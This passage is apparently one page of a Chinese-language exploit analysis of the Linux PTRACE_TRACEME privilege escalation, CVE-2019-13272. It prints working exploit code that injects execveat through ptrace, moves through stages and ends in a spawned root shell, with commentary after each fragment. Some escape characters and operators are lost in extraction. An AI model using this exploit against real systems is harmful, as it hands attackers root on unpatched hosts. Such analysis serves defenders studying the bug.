PTRACE_TRACEME CVE-2019-13272 本地提权漏洞解析
来源:岁月联盟
时间:2020-01-29
112 middle_success = 0;
113 err(1, "execl pkexec");
114 }
行 70, 调用 fork 生成孙进程(也就是 task C)
然后行 111, task B 运行 fakepkexec 让自己提权再降权
然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后, 会执行行 91 进行 PTRACE_TRACEME 操作获取 root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个 suid binary 让自己的 euid 变成 0
190 /*
191 * wait for our child to go through both execve() calls (first pkexec, then
192 * the executable permitted by polkit policy).
193 */
194 while (1) {
195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196 char buf[16];
197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198 buf[buflen] = '';
199 *strchrnul(buf, 'n') = '';
200 if (strncmp(buf, basename(helper_path), 15) == 0)
201 break;
202 usleep(100000);
203 }
204
205 /*
206 * our child should have gone through both the privileged execve() and the
207 * following execve() here
208 */
209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210 SAFE(waitpid(midpid, &dummy_status, 0));
211 fputs("attached to midpidn", stderr);
212
213 force_exec_and_wait(midpid, 0, "stage2");
214 return 0;
接下去回到 task A 的 main 函数, 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper 之后,运行行 213 执行 force_exec_and_wait
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117 struct user_regs_struct regs;
118 struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
119 SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120 SAFE(waitpid(pid, &dummy_status, 0));
121 SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122
123 /* set up indirect arguments */
124 unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125 struct injected_page {
126 unsigned long argv[2];
127 unsigned long envv[1];
128 char arg0[8];
129 char path[1];
130 } ipage = {
131 .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132 };
133 strcpy(ipage.arg0, arg0);
134 for (int i = 0; i sizeof(ipage)/sizeof(long); i++) {
135 unsigned long pdata = ((unsigned long *)&ipage)[i];
136 SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137 (void*)pdata));
138 }
139
140 /* execveat(exec_fd, path, argv, envv, flags) */
141 regs.orig_rax = __NR_execveat;
142 regs.rdi = exec_fd;
143 regs.rsi = scratch_area + offsetof(struct injected_page, path);
144 regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145 regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146 regs.r8 = AT_EMPTY_PATH;
147
148 SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149 SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150 SAFE(waitpid(pid, &dummy_status, 0));
151 }
函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制 task B 执行了 task A 的进程(即 exploit 的可执行程序)然后参数为 stage2, 这实际上就是让 task B 执行了 middle_stage2 函数
167 int main(int argc, char **argv) {
168 if (strcmp(argv[0], "stage2") == 0)
169 return middle_stage2();
170 if (strcmp(argv[0], "stage3") == 0)
171 return spawn_shell();
而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C 执行 execveat 函数,将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3
153 static int middle_stage2(void) {
154 /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155 pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156 force_exec_and_wait(child, 42, "stage3");
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] 下一页